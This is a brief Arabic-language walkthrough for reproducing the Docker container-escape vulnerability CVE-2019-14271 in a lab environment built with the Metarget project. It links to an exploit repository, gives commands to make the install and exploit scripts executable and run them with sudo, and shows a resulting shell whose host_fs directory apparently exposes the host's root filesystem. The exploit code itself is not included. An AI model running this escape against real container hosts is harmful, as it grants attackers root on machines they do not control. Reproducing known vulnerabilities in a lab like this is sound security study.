
نص آلي مناسب وموفر للوقت لبناء بيئة واستغلالها.
استغلال النص الآلي المناسب والموفر للوقت لبناء البيئة واستغلالها.
https://github.com/Metarget/metarget
https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271
https://github.com/thomasyang1207/Exploits/tree/master/CVE_2019_14271
chmod 777 Exploit.sh
chmod 777 Install_env.sh
sudo ./Install_env.sh
sudo ./Exploit.sh
إذا تم بناء الصورة، قم بتشغيل
Exploit.shفقط لإعادة الاستخدام.
الأن دخلت الحاوية cve-14271 وترى:
root@d9b5a334a0e9:/# ls
bin breakout home lib32 logs opt run sys var
boot dev host_fs lib64 media proc sbin tmp
break_logs etc lib libx32 mnt root srv usr
ادخل host_fs وستجد أن الدليل الجذر للمضيف قد تم تركيبه هنا، وقد نجحت في الهروب. يمكنك التصرف كمستخدم جذر على الجهاز المضيف.